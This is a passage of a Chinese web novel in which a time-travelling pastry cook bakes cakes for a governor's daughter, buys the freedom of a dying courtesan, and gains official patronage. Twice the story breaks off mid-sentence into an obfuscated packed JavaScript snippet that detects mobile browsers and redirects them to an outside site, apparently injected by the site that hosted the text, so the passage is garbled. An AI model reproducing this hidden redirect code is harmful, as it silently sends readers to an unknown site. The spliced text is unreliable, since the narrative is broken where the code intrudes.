只见那原本粘稠瘫软的乳脂混合物,竟开始缓缓地挂在木杵上,体积也肉眼可见地膨胀起来,呈现出一种类似后世打发奶油的膏状,绵密而略带光泽,虽然远不如电动打发的状态蓬松雪白,质地也略显厚重粗糙,但确确实实,是奶油! “成了!”裴清梧心头狂喜,几乎要叫出声来。 她小心翼翼地将这来之不易的古代奶油刮到一旁干净的陶碟中,置于冰凉的井水里继续保存降温。 这第一步,算是艰难地迈出去了,虽然量少质粗,但证明了方向可行。 趁着搅打奶油后的间隙,她不敢歇息,立刻着手准备雪花酥。 “烦请取些上好的麦芽饴糖、熟糯米粉,若没有现成的呢,便取些粳米,烦劳庖厨立刻炒熟磨粉,越细越好,还有葡萄干和胡桃仁。”裴清梧迅速吩咐道。 张妈妈见她方才神技,此刻更是言听计从,立刻指挥人手去办。 她先将葡萄干和胡桃仁在干净的铜锅中微微烘烤激发香气,取出备用,又将麦芽饴糖倒入另一口小铜锅,加入极少量的水,置于小炭炉上细细熬煮。 这古代的糖色泽微黄,杂质难免,她只能反复撇去浮沫,耐心等待糖浆沸腾并达到合适的粘稠度,太稀不成型,太稠则硬脆失去雪花酥的酥软口感。 咕嘟咕嘟,糖浆开始在锅中冒着细密的气泡,散发出焦甜的香气。 裴清梧用干净的竹筷挑起一丝,放入凉水中,待其冷却后能拉出细丝且微微发脆,这便是熬好了。 她立刻将火挪开,迅速倒入烤好的葡萄干、胡桃仁,又撒入大量细密的熟糯米粉,用竹筷和木铲飞快地搅拌混合。 高温的糖浆裹挟着果仁和米粉,趁着尚软韧,她赶紧将其倒入事先撒了一层熟糯米粉的浅口方形木盘中,用擀面杖迅速擀压平整,而后拿起锋利的厨刀,趁着糖块尚未完全冷却变硬,小心翼翼地将其切成大小均匀的小方块。 滚烫的糖块边缘还有些粘软,但切口已然平滑,最后,将每一块雪花酥在盛满熟糯米粉的木盆里滚上一滚,均匀地沾上一层雪白的外衣。 古代版的雪花酥出炉了! 浅金色的糖块包裹着紫玉般的葡萄干和金黄的胡桃仁碎,外面再裹上一层细细的雪粉,虽不及后世机器切割的整齐划一,颗粒感也略粗,但那份混合了坚果香、果干甜和米香的独特气息,已足够诱人。 裴清梧拈起一块尝了尝,酥软香甜,麦芽饴糖特有的风味浓郁,虽有细微杂质带来的砂砾感,但在这个时代,已是难得的精致点心。 她满意地舒了口气,将成品小心地码放在垫了干净桑皮纸的漆盘中。 接下来,便是最关键的挑战蛋糕胚,没有低筋面粉,没有泡打粉,没有精准控温的烤箱……一切近乎不可能。 但是,事在人为。 她取来府中上好的精白小麦粉,力求最细腻的质地,又取来十数枚新鲜的鸡蛋,仔细分离蛋清蛋黄,蛋黄中加入少许她刚提炼出的粗制奶油和一点点蜂蜜,用力搅打至颜色微微发白粘稠。 蛋清则被她放入另一个深腹陶钵,加入一小撮盐以代替塔塔粉稳定蛋白,再次拿起沉重的木杵,开始疯狂地搅打。 这一次的搅打,比打发奶油更为艰难漫长。 蛋清先是变成粗泡,继而变成细密的泡沫,体积膨胀了两三倍,打得裴清梧的手臂酸痛欲裂,全靠意志支撑。 她不停地变换搅打方向和速度,终于在手臂彻底僵硬前,看到蛋清变成了类似后世湿性发泡的状态——提起木杵,能拉出弯弯的尖角。 顾不上高兴,她立刻将三分之一打发的蛋清舀入蛋黄糊中,用木铲快速轻柔地翻拌均匀,再将其倒回剩下的蛋白霜中,继续小心翼翼地翻拌融合。 最后,筛入准备好的面粉,同样轻柔快速地翻拌至无明显干粉。 整个过程她动作迅捷如风,生怕好不容易打发的蛋白消泡。 拌好的面糊呈现淡淡的鹅黄色,质地轻盈蓬松,已然成功了一半。 此时,她构思的烤炉尚未成型,只能用现有的胡饼炉试试。 便让庖丁在炉火相对均匀的位置清理出一块地方,将一个厚实带盖的圆形陶制深钵底部抹上一层薄薄的胡麻油,倒入面糊,盖上盖子。 “火候要稳!不可过大,需文火慢烘!”裴清梧紧张地盯着炉口,不断叮嘱控火的庖丁。 那庖丁经验丰富,小心地调整着柴火的位置和进风量。 时间一分一秒过去,库房内弥漫着奇异的甜香,裴清梧的心悬到了嗓子眼,估算着约莫半个时辰后示意庖丁小心地将陶钵取出。 揭开盖子的瞬间,一股浓郁的蛋奶甜香喷涌而出。 只见钵中,一个表面呈浅金黄色的圆形物体膨胀起来,虽然顶部因蒸汽冷凝有些塌陷,并非完美圆顶,但整体看起来,竟真的有点像蛋糕胚。 她用筷子小心地戳入中心,抽出时没有湿面糊带出,只有些许碎屑,便是烤熟了。 她欣喜若狂,小心翼翼地将这珍贵的蛋糕胚倒扣在竹屉上晾凉,虽然质地不如现代蛋糕细腻,带着些微韧性和粗颗粒感,高度也只有寸许,但这已经够了。 而后便是组装。 裴清梧将冷却的蛋糕胚横切成两片,第一片上,均匀地涂抹上她之前辛苦打发的、质地粗犷却奶香十足的奶油,再盖上另一片蛋糕胚,而后,将剩下的所有奶油都涂抹在整个糕体的表面和侧面,用木片尽量抹平。 没有裱花袋,她就用洗净的细布缝了个简易的锥形袋,装入奶油,在蛋糕顶部尝试挤了几朵小小的、歪歪扭扭的“花”作为装饰。 最后,撒上几粒晶莹如红宝石的石榴籽点缀。 一个粗糙矮胖,裱花歪斜,却散发着诱人蛋奶甜香的奶油蛋糕成了。 它可能不够美观,甚至口感也远逊后世,但它是跨越千年的技艺碰撞出的火花。 看着眼前的雪花酥和奶油蛋糕,裴清梧长长地吁了口气,巨大的疲惫和成就感同时涌上心头。 为了保险起见,她又着手准备第三道点心,和龙须酥鲜花饼一样,此时尚未出现,但已有足够条件制作的精致非遗中式点心荷花酥。 取来细腻的猪板油,细细熬炼成雪白的凝脂,又将精白面粉分成两份:一份加入冷水揉成水油面团,一份加入冷却的熟猪油揉成油酥面团。 水面团包裹住油酥团,反复擀开,折叠数次后,小心翼翼地制成层次分明的酥皮。 馅料则选用府中上好的红豆沙,加入少许桂花蜜和一点她提炼的杏仁油增香,揉搓成小圆球。 再将酥皮擀开,包入豆沙馅,收口朝下,塑成一个圆球,后用一把极其锋利的薄刃小刀,在圆球顶部小心翼翼地划出均匀的六个花瓣,花心处点上一点金黄色的蛋黄液。 “准备一锅洁净的胡麻油,烧至五成热。”裴清梧指挥道。 锅中油温合适后,她将捏好的生坯轻轻放入。 神奇的一幕发生了:酥皮在热油中迅速膨胀分层,那六片刀口处缓缓绽开,如同水中盛开的洁白荷花,花瓣层层分明,酥松轻盈,花心中的豆沙馅隐约可见,如同嫩黄的花蕊。 待炸至通体金黄,花瓣完全舒展定型,便迅速捞出控油。 三样点心,静置于案上,雪花酥:裹着雪粉,内藏珍宝,朴拙香甜;奶油蛋糕矮胖敦实,蛋香奶香交织;荷花酥形如出水芙蕖,酥皮薄如蝉翼,层层绽放,内馅甜润。 裴清梧来不及好好欣赏,便将这些点心仔细摆放在精致的漆盘里,对张妈妈道:“烦请妈妈带路,清梧想请赵娘子品鉴一二。” 张妈妈早已看得眼花缭乱,尤其是那会开花的酥点,更是闻所未闻,连忙应声:“东家好巧思!我这就引您过去,我家娘子见了,定会欢喜!” 赵娘子的闺阁照霞居在庭院更深处,一路弯弯绕绕,不见几个小厮了,多是侍女往来,也都个个穿的体面富贵。 真的身临其境,裴清梧才明白,为何当初刘姥姥进贾府,会把平儿认成王熙凤了。 张妈妈只把她领到照霞居大门口,而后便是见过的素秋出来,带着裴清梧进去。 赵使君应当极疼爱这女儿,院子里花木扶疏,好些裴清梧压根叫不上名的品种,房内更不必说。 甫一踏入,一股清雅暖香扑面而来,正中铺设一张宽大的紫檀木坐榻,铺着繁复团花纹的锦缎软垫与隐囊,榻前置一方精巧的螺钿镶嵌矮足案几,靠墙立着数扇高大的花鸟双面绣紫檀木屏风,将空间巧妙分隔,侧旁的多宝阁上错落陈列着玉山子、秘色瓷瓶、金银平脱妆奁以及一匹神采飞扬的唐三彩马。 壁上悬着工笔精妙的仕女花鸟图卷,窗下矮几置一尊金猊兽首熏香炉,袅袅青烟自兽口逸出,茜红与鹅黄的轻纱帷幔自梁上垂下,随风微动,地上铺设着西域进贡的团花织毯,踩上去柔软无声。 赵娘子正坐在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16230894|181774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 窗前,临摹着什么东西,听闻素秋禀报,才抬起头来:“点心做好了?拿过来我看看。” 素秋捧着食盒递过去,又将盖子掀开,赵娘子歪头打量了好一会儿,面露笑容:“真精巧新奇呢,我真没见过这样的点心。” “那,还请娘子尝尝,可还能入口吗?”裴清梧笑道。 素秋将那雪花酥切下来一小块,赵娘子拿小银叉子叉了,放进嘴里细细品尝,倏尔眼睛一亮:“妙!香甜绵软至极,还是第一次吃到。” 她又尝过蛋糕与荷花酥,亦是赞不绝口:“那,宴席上的点心,就拜托东家了,除这三样以外,烦请东家再做些旁的,每样各二十份,三日后送来。” 说罢,她便朝素秋使了个眼色。 素秋会意,又取了十两银子递给裴清梧:“这些银子,是我们娘子请东家喝茶的。” 不愧是封疆大吏的女儿,随便出手,就是现代小城市里一套房的首付。 裴清梧内心泪流满面,好容易才稳住心神接过:“奴家谢过娘子。” 刚一回到家中,裴清梧就兴奋地把顾恒拉到一边,给他看荷包里的银子:“看,银子啊!白花花的银子!赵娘子可真是人美心善,我活这么大,第一次看见这么多银子!” “发财了,阿恒,你老板我发财了!” 顾恒却并不似她这般激动,只盯着那些银钱,嘴唇动了动,似乎是想说些什么,但不知如何开口。 裴清梧没发现他的异常,冷静下来之后,开始盘算做点心的成本。 做这些都是体力活,短短三日,她一个人似乎有些应付不来,顾恒是个男人,饭都不太会做,更别提点心了。 看来,她也得迈向万恶的封建主义,去买个人回来帮厨了。 天色还早,离宵禁还有段时间,够她去一趟了。 “阿恒,你看好门,我去口马行①一趟。”说着,裴清梧就要去取自己的披风来。 不料,顾恒却像下定了什么决心似的,上前一步,扑通一声,跪在地上,声音略嘶哑:“东家去口马行,是要买人回来么?” 裴清梧被他这举动吓了一大跳,慌忙俯身去拉他起来:“快起来,你这是做什么?怎么忽然就下跪了……妈呀,这是夭寿啊……” 顾恒却死活不起,只红着一双眼,他本就生得好看,此刻,更像是一只易碎的瓷器,摇摇欲坠的边缘:“东家那日救了我,是菩萨心肠,如今是我唐突了,可……” 说着,他深吸一口气,重重地叩首:“我虽脱离苦海,可我阿娘还在醉月楼,东家既要买人,顾恒恳求,东家可否将我阿娘赎出来……” 裴清梧一愣。 “她今岁也不过三十有五,正是壮年的时候,她会绣花会写字会点茶,做点心她也可以学,只求东家能赎她出来,给她一口饭吃就好。” 说着,孩子的额头实诚地砸在地上,砰砰作响。 “哎哎哎,快起来快起来。”裴清梧忙道。 青楼女子,都是可怜之人,同为女性,当然是能帮则帮,正巧她这酥山小集十分缺人手,只是…… “你阿娘有名吗?我手里就二十两银子,还有一些铜钱,若是有名的花魁,我只怕没有余力……” 顾恒苦笑:“东家放心,我阿娘年轻时虽有名,如今年岁大了,不好看了,再加上生过我,总有客人嫌弃,想来,妈妈应当是巴不得有人去赎她,且……” “阿娘跟过那么多有钱的客人,早就为自己存了不少钱财,青楼里很多姐姐都是,完全可为自己赎身,只风尘女子总得为自己寻个去处,这才耽搁了。” 裴清梧想了想,咬咬牙道:“好,我试试。” 大不了,跟老鸨砍砍价。 天色将晚,大市坊西南曲巷便成了男人们寻欢作乐之地,各花楼们次第亮起灯,衣着光鲜亮丽的女子们站在门前娇笑着揽客,空气中仿佛都是腻腻的脂粉香气。 裴清梧做贼一样,偷偷从小道溜到了醉月楼前。 她不歧视青楼女子,但她一个良家女,光明正大地出现在这里,对名声总归是不好的。 接待她的,是个和她年纪差不多的小娘子,梳着双垂髻,簪了支鎏银蝴蝶簪,桃红襦裙外罩着半透的薄纱披帛,鹅蛋脸上描着时兴的斜红妆,杏眼流波间带着几分妩媚笑意,臂间松垮系着的柳绿披帛随风轻晃,露出腕上两枚绞丝银镯,裙角暗绣的缠枝莲随步浮动,似有暗香浮动。 “小娘子来醉月楼何事?若是有磨镜之好②,奴家愿作陪,若是来寻夫郎,还请不要大作周章,醉月楼女子都是苦命人,同为女郎,何苦相互为难呢。” 裴清梧尴尬一笑:“我,我问问一个人,叫桂枝的花魁……” 那小娘子眼中流露出一抹哀伤:“你找桂枝姐姐?可她……她伤重难治,说是,就在这几日了……” 7. 求得墨宝 裴清梧被带到桂枝的房间时,整个人都呆了。 其实桂枝今年才三十五,在现代,算是风华正茂的年纪,保养的好一些,还是令无数人嘶哈嘶哈凑上前的大姐姐,可她是在古代,还是一个饱经折磨的花魁,是以面色苍白,一脸疲态,望之竟如五十许人,只在眉目间,隐隐约约看出一些曾经的美貌。 青楼的老鸨只看姑娘们挣不挣钱,如今桂枝没了利用价值,自然扔在一边不管,任其自生自灭,床边一个十三左右的小丫头一边抹着泪,一边喂她药喝。 可是,她已经什么都咽不下去了,只睁着一双眼,空空地望向门口,似乎在等什么人。 “桂枝姐姐,你好歹喝一口吧,这几位姐姐凑钱买的,郎中说,喝了就会好。”小丫头哭着哀求道,桂枝却充耳不闻,甚至微微偏过头,避开那碗。 领裴清梧进来的那小娘子——来的路上已知道名茜桃,上前一步,忧心道:“桂枝姐姐还是没好么?” “没有,喂不进去药,水也喂不进去……” “这可怎么办才好,方才我偷听妈妈说,若再不好,就要像年前……”茜桃说着,面色倏尔一变,似乎是想到了什么极可怕的事情,声音渐渐低了下去,几不可闻。 裴清梧嘴唇蠕动了几下,她本科时闲来无事,找了讲述解放后改造青楼女子的老电影《姐姐妹妹站起来》来看,其中情节,有个女孩子不中用了,老鸨叫人把她抬出去,装进棺材里,还喘气的时候,就将她钉死在里边,一度成为她的心理阴影。 只怕茜桃看到的,会更可怖。 她走近桂枝的床边,握住了一只枯瘦如柴的手,低声道:“你还睁着眼睛,莫不是在念叨着你的儿子?” 闻言,桂枝原本已经晦暗的眼睛,又闪了一瞬的光。 “我赎你走,带你去见他。” 裴清梧虽不会医,但也能看出,眼前这妇人已是油尽灯枯,只凭着对儿子的牵挂,吊着最后一口气,买她回去好像是亏了,但若能让一个母亲,再见孩子最后一面,清清白白地离开这人世,是积善积德之举。 “茜桃,带我去见鸨母,我要给桂枝赎身。” 茜桃惊愕地瞪大了眼睛,看看裴清梧,又看看形销骨立的桂枝,嘴唇动了动,最终化为还是应了:“好,娘子随我来。” 醉月楼的主事鸨母正在前厅拨弄着算盘珠子,见到茜桃领着个面生的小娘子过来,也只随意地抬了抬眼皮。 “妈妈……”茜桃怯生生地开口:“这位娘子想、想为桂枝姐姐赎身。” “桂枝?”鸨母嗤笑一声,放下算盘,上下打量着裴清梧:“那个药罐子?小娘子,不是我说,她如今也就是一口气吊着了,买回去没两天就得办丧事,晦气得很呐。” 这话语刻薄而冷漠,仿佛谈论的不是一个即将在这里耗尽一生的活人。 裴清梧强忍着心底的厌恶:“正因为如此,我想给她一个清净去处……开个价吧。” 鸨母眼珠转了转,桂枝早已不能接客,留在楼里也只是白费米粮药材,还得占个地方。有人愿意接手这个烫手山芋,简直是意外之喜,便伸出五根手指:“五贯钱,她那卖身契,拿走便是。” 裴清梧没有还价,直接从随身带的荷包里取出五贯通宝,放在鸨母面前的案几上。 鸨母脸上立刻堆起假笑,迅速从柜子里翻找出一张泛黄的契纸,看也不看便塞到裴清梧手中:“娘子真是心善人,拿好拿好,人你随时带走。” 裴清梧接过那轻飘飘的卖身契,只觉得上面浸透了桂枝的血泪。 她不再看鸨母那张令人作呕的脸,转身对茜桃道:“麻烦茜桃娘子,帮我雇一辆稳当的马车或软轿,再找两个稳妥的帮工,帮我把桂枝抬回去。” 她多付了些钱,茜桃立刻应承着去办。 不多时,一辆朴素的马车停在醉月楼后门,茜桃和两个雇来的粗壮妇人,小心翼翼地将气息微弱的桂枝裹在薄被里,抬上了车。 桂枝似乎感觉到了什么,那双空洞的眼睛微微转动了一下,望向裴清梧的方向。 马车辘辘,驶离了醉月楼那片令人窒息的脂粉之地,朝着酥山小集行去。 到了酥山小集门口,裴清梧先下车吩咐伙计帮忙安置,一直等候在店里的顾恒,听闻母亲的消息,早已按捺不住,快步冲了出来。 “东家,我阿娘她……”顾恒的声音在看到被抬下车的那个枯槁身影时戛然而止,整个人如同被雷击中,瞬间僵在原地,脸上的血色褪得一干二净。 那真的,是他的母亲桂枝吗? 记忆中那个美的不可方物的阿娘,如今只剩下一把枯骨,脸色灰败如纸,眼窝深陷,头发枯槁。 才多久未见?竟被折磨得不成人形! 悲痛和愤怒如无形的大手般攫住了他,让他喉咙发紧,一个字也说不出来,只有身体在微微颤抖。 “阿恒,我把你阿娘接回来了。她一直在等你。” 桂枝似乎听到了熟悉的声音,一片死寂浑浊的眼睛费力地转动,终于聚焦在顾恒年轻的脸上。 “恒、恒儿……”微弱的声音,像随时会断的游丝。 “阿娘!是我!是恒儿!”顾恒猛地扑到担架旁,双膝跪地,颤抖着握住了母亲那只枯瘦冰冷的手,眼泪如决堤一般:“孩儿不孝……孩儿来晚了……” 桂枝的嘴唇艰难地翕动着,似乎有无尽的话想说,但力气已不足以支撑。 她贪婪地望着儿子的脸,眼中积蓄起微弱的水光,用尽最后一丝力气,气若游丝地吐出两个字,仿佛是她藏了一生的秘密:“顾……皎……” 这是她的本名,不是那个属于醉月楼的桂枝,而是爷娘给她的,属于她自己的名字。 她想清清白白地,以“顾皎”的身份,在儿子怀中走完最后一程。 说完这两个字,她像是耗尽了生命最后的一点烛火,紧绷的心弦骤然松开,一直强撑着的那口气,终于断了,曾经饱含忧惧与期盼的眼睛,缓缓阖上,再无生息。 “阿娘——!”撕心裂肺的悲嚎响彻小院。 顾恒紧紧抱着母亲尚有余温却已失去生机的身体,埋首恸哭,仿佛要将所有的委屈、自责和无尽的悲痛都哭喊出来。 天空阴沉,仿佛也在为这位饱经苦难的女子垂泪。 裴清梧站在一旁,默默地看着这一切,心中酸楚难言,她没有说话,只是安静地陪着这对经历了太多磨难的母子。 夜间,顾皎停灵在院子里,顾恒默默地陪在他身边,仿佛被抽走了所有的精气神似的,世间任何风雨,都拂不动一丝。 已是秋末,院里的梧桐叶已落了大半,残留的几片在萧瑟的秋风中打着旋儿。 裴清梧看着他单薄的背影,深知此刻言语苍白,只走进厨房,取来小半碗雪白稻米,细细淘洗干净,又选了两枚饱满圆润的黄杏干,用温水泡软,切成了小丁。 灶膛里添了新柴,火苗噼啪作响,舔舐着锅底,锅中注入清水,待水沸滚,便将淘好的米粒缓缓倾入。 米粒在沸水中沉浮、舒展,渐渐释放出浓郁的米香,然后用长柄木勺缓缓搅动,防止粘锅,看着米汤由清澈变得浓稠。 待米粒开花,粥体绵软,就将切好的杏干丁撒入锅中。 金黄的杏丁在乳白的米粥中翻滚,如同秋日最后温暖的阳光融入其中。 接着,她取来一小块珍贵的饧糖,用刀背仔细敲下些许碎末,投入粥中,最后从角落的陶罐里拈了一小撮晒干的桂花,撒进粥里的瞬间,将那朴素的白粥点染得生机盎然。 浓郁的桂花香气混合着米香、杏干的酸甜果香,在小小的厨房里氤氲开来,温柔地驱散着秋末的寒意。 裴清梧捧着小砂锅,走到顾恒身边,将粥轻轻放在他身边。 “阿恒,”她的声音比平时更柔和几分:“秋深了,天寒,喝点热粥吧……加了杏脯和桂花,甜甜暖暖的,吃了身子会舒服些。” 那碗粥散发的温暖热气扑在顾恒冰冷的脸上,心头仿佛被这股暖流轻轻触动了一下,喉头哽咽。 到底还是颤抖着拿起勺子,舀起一小口,小心翼翼地吹了吹热气,送入口中。 温热的米粥瞬间包裹了舌尖与口腔,稠滑绵密,杏干丁软糯酸甜,桂花香沁人心脾…… 眼泪毫无预兆地再次滚落,大颗大颗地滴入粥碗里。 顾恒低着头,一勺接一勺,沉默地吞咽着,随着滚烫的粥顺着喉咙滑下,被悲痛冻僵的四肢百骸,似乎终于感受到了一丝微弱的复苏。 裴清梧坐在一旁,没有打扰他,只是静静地守着。 秋风呜咽,炭火微红,少年无声流泪,吞咽着暖粥。 待顾恒吃完,裴清梧预备去收拾的时候,他突然毫无征兆地抬头,唤了她一声:“阿姐。” 悲伤揭过,日子该过,还得过。 尤其赵娘子的订单迫在眉睫,裴清梧不得不推掉了其他人的单子,一边又一边地锤打奶皮、搅打蛋清,一时,院中只闻叮叮当当之声。 自母亲逝世,顾恒更加沉默,只埋头苦干着属于自己的杂活,时不时,他会上前为裴清梧递上擦汗的帕子,或者盛着清水的杯子。 终于,第二日傍晚,裴清梧着实受不住了,还是上口马行买了个侍女。 侍女本姓何,原本的主家是当亭县令,因犯了事被抄家,仆从皆被发卖,侍奉那家时,被取名叫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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席间言笑晏晏时,一位气质温婉的娘子轻声道:“裴小娘子的手艺真是精绝,不知小娘子可愿屈就?我父秦州别驾,姨娘的兄弟在城中经营太白楼,正缺这般巧匠掌勺。” 她姨娘出身商贾,故言语间对经商之事少了些避讳。 裴清梧闻言,轻轻摇头:“多谢李娘子美意,只是小女子已在安业坊开了铺面,赖街坊邻里帮衬,尚能糊口。” 婉拒的话出口,一个念头却如电光石火般闪过她脑海。 说干就干,裴清梧面上浮起诚恳笑意,话锋巧妙一转:“不过,奴家倒有个不情之请,小店新张,欲备些上好物料,若诸位娘子不弃官身,能略添些脂粉钱入股小店,按年分红,奴家定当竭尽全力,不负所托……虽事涉商利,然只作私下添补,挂名即可,银钱往来亦由奴家打理清爽。” 此言一出,席间几位娘子先是微愕,随即眼神亮了起来。 商户虽贱,但城中贵女主母,谁名下没几个铺子?且瞒着家中长辈,用体己钱私下挂个名,每年坐等分红,既新奇有趣,又能添一笔不小的私房收入,何乐而不为? 赵娘子率先笑着应允:“这倒是个新鲜主意,我出二十两银。” 有人领头,其余几位娘子,包括那位李六娘子在内,也纷纷应和,当场便议定了数额,一笔可观的前期资金就此落定。 宴席尽欢而散,裴清梧正欲告退,却被赵刺史身边的长随唤住:“裴东家留步,使君书房有请。” 裴清梧心头微动,整理衣襟,随长随步入肃穆的书房。 赵刺史珏身着常服,端坐案后,目光沉静地打量着她。 他对此女确有印象,前番状告前夫家种种,条理清晰,不卑不亢,今日,又让自家女儿在闺中好友面前大大长了脸面。 “东家的点心甚佳,小女与她那些手帕交赞不绝口。”赵珏开门见山,语气比之前对簿公堂时温和许多:“你办事妥帖,心思也巧,说说,想要何赏赐?” 裴清梧闻言,深深一福:“使君明鉴,奴家确有两事相求……其一,奴家店中护卫顾恒,其母顾皎,原为醉月楼花魁,如今已病故,顾恒本性纯良,勤恳踏实,恳请使君开恩,为其脱去贱籍,使其得以堂堂正正做人。” 赵珏捋须沉吟片刻,一个微不足道的少年脱籍,对他不过举手之劳,何况其母新丧,也算善事,颔首道:“念其母可怜,他又随你安分营生,准了,那第二件事呢?” 裴清梧心中一喜,连忙道:“其二,恳请使君赐墨宝一副,为小店题写匾额‘酥山小集’四字,小店得使君墨宝庇佑,自是蓬荜生辉,亦是奴家安身立命之依凭。” 赵珏闻言,脸上露出一丝笑意。 这请求既不过分,又显得颇有分寸,还给了自己一个施恩示好的机会。 倒是个伶俐丫头…… 他心中暗赞,随即朗声道:“笔墨伺候!” 长随迅速铺开上好宣纸,研浓香墨,赵刺史提笔蘸墨,凝神静气,笔走龙蛇,“酥山小集”四个遒劲有力的大字跃然纸上,气势端凝,尽显雍容气度。 “多谢使君恩典!”裴清梧郑重叩谢,双手接过这沉甸甸的墨宝,心中一块大石落地。 8. 桃之夭夭 在赵使君那里求的墨宝,拿去装裱了一下,挂在小店门口,再加上那些官家娘子的入股,酥山小集的生意一日好过一日。 西北的秋季极为短暂,倏尔一眨眼便过去了,再醒来时,地上积了薄薄的一层雪,风也忽然凛冽了起来,摇晃着树枝上最后的几片枯叶,无情地撕扯了它们。 从店门口而过的行人们,也都换上了冬日的棉袄,双手缩进袖子里,极力地抵御着彻骨的寒意。 天儿一冷,人也犯懒。 裴清梧今日便没开张,厚厚的木板并未拆下来,数了数攒下的钱财后,打发顾恒去扛了半只羊回来。 冬天,就该围着火炉吃羊肉啊。 秦州在陇右郡,离关外的游牧民族极近,虽说官方未通互市,可私底下的交易也不少,今日顾恒扛回来的,便是商贩从牧民那里换回来的滩羊,比之中原用谷物饲养出来的羊,肉质更为劲道耐嚼。 灶膛内薪柴毕剥,片好的羊肉纹理如初雪映霞,莹润透光,滩羊无甚膻味,不需过多处理,只取干净的井水来,随便煮一煮,汤色便清亮如夏日的玉泉水,佐料只用八角和葱花,再多,便是画蛇添足了。 银岚一早就烙好了大饼,掰开泡在羊汤里头,吸饱了汤汁之后,味道更为曼妙。 一时胃口大开,裴清梧和银岚各喝了两大碗,顾恒自不必说,正是半大小子吃穷老子的年纪,埋头只知道喝。 不论什么时候,只要吃饱了肚子,人的日子,就觉得有盼头了。 “阿恒,把碗筷收拾一下……” 裴清梧倚在榻上,懒懒地打了个哈欠,吃饱喝足,她有些困乏了。 屋子里炭盆烧得极旺,炉灶上煨着鲜香的羊汤,蒸屉里蒸着明日早饭吃的大白馒头,地窖里囤满了新鲜蔬菜,荷包里的钱也鼓鼓囊囊的,银岚新绣的披风悬在炉火边烘烤,待烘得暖和了,明日出门穿上,不知道多舒服。 这样的日子,可真是安心啊。 顾恒正扒拉着最后一口羊汤,汤煨得久了,便骨酥肉烂,入口即化为绕舌甘鲜,听闻裴清梧吩咐,“嗯”了一声,起身去收拾她和银岚吃过的碗筷。 在裴清梧这里,他能吃饱,刚来时瘦削的脸颊圆润了不少,个头都似乎见长了,衣袖被挽起半截,露出白皙的小手臂,动作时青筋盘旋,说不出的好看。 “对了,阿恒,你生辰,在什么时候?”裴清梧突然想到了这个问题。 顾恒动作顿了顿:“阿娘提过,似乎是正月初二十。” “好日子啊。”裴清梧支着脸:“翻过年,你也快十六了。” “嗯……”顾恒不明所以。 “知道你今年热孝在身,有什么事,都不好庆祝,不过生辰不一样,要不,到那一天,我跟银岚给你过一过?” 过生辰么? 顾恒好像从来没有这样的概念,他的出身太尴尬了,鸨母嫌弃他的存在耽搁了阿娘接客,阿娘也只能忙着应付那些男人,是以他从来不觉得这是什么特殊的日子。 “就不麻烦东家了……” “麻烦?怎会麻烦?如果没有你,我这么一个孤身女子开店,不知道要应付多少事情,说不定早就被逼着关门了。”裴清梧笑道:“何况,摆一顿饭的事,你东家我最擅长的就是做饭。” “还有我呢。”那边正在为裴清梧熨烫衣服的银岚也抬头笑:“小阿恒,到时候我给你做完长寿面吃,买只农人养的老母鸡煨了汤底,再丢些菌菇进去,别提多鲜美了。” 知道推辞不过,顾恒轻轻“嗯”了一声,背过身去,似乎是抬手擦了擦脸。 “我睡一会儿……半个时辰后叫我,马上过年了订点心的人多……”裴清梧这样嘟囔着,伏在榻上沉沉睡去。 顾恒洗净了碗筷,放回了橱柜里,出来便见裴清梧这样趴着,微微蹙了蹙眉,取了一边的毯子来,轻手轻脚地给她盖上。 确实如她所说,临近过年,订点心的人倏尔多了起来,都知道这酥山小集的点心新奇又好吃,掌柜的还是个年轻小娘子,做的东西干净,刺史千金都说好的,裴清梧连着几日都在赶订单,眼下累出了乌青来,原本清丽的芙蓉面也显出一丝疲态。 他太过小心,反而不慎碰到了炕桌,发出的动静,让银岚都抬首望了过来,可裴清梧依旧没醒。 “东家是太累了。”银岚叹道:“一会儿还要起来,继续做点心,等我炖些枸杞红枣排骨汤,最补气血了,小阿恒你也喝上些。” 顾恒应了一声,盯着在裴清梧脸上跳跃的烛火发愣。 他在青楼楚馆长大,自小见多了美人,艳若桃李的,清如芙蓉的,娇憨如三春桃花,孤冷如冬日腊梅,但裴清梧落在他眼里,好像一时不知如何形容。 救他的那一日,如同麦积山石窟里那些悲天悯人的佛像,后来在俗世烟火中,又觉她宛如一株柳树,俏丽亭亭,却自成一片树荫,为他,也为她自己撑着个小小的天地。 如今这烛光一勾勒,更觉她睫羽与鼻梁投下的阴影好看至极,是世上最小的林荫。 不知看了多久,只知银岚过来推她:“东家,时辰到了,还有好些点心没做呢……” 她睡得太香,只是动了动嘴唇,没抹胭脂膏子,也红得眼里,如水洗过的樱桃一般,艳丽可爱,顾恒心头一跳,错开眼去。 “东家?东家!” 银岚又推了两下,裴清梧才悠悠醒转。 “什么时辰了已经?”她揉了揉眼发问,声音带着贪睡后的慵懒。 “戌时了。”银岚答着,眼中闪过一丝心疼:“不然,明日再做吧,这几日也真是苦了东家。” 她今年二十有二,在她眼中,不论是裴清梧,还是顾恒,都是小她很多的弟弟妹妹。 “早做完,早省心。” 裴清梧起身往厨房走,边系围裙,边看订单,这会儿该做秦州司马府上预定的金粟千层旋,即经过她改良后的常州大麻糕。 说是糕,却更多像是烘烤的饼,将面团揉到光滑绵软,分成等份的小剂子,擀开后包入胡麻炒制的馅料。 炉膛里的炭火正旺,发出“噼啪”的声响,将陶鏊子炙得滚烫,生胚贴上去,饼面鼓起细密的小泡,空气中渐渐弥漫开面粉与胡麻经火焙烤后特有的焦香。 边缘酥脆卷翘,酥皮层次分明,密布的胡麻受热爆裂,浓郁的熟面焦香与胡麻特有的油脂香气愈发醇厚。 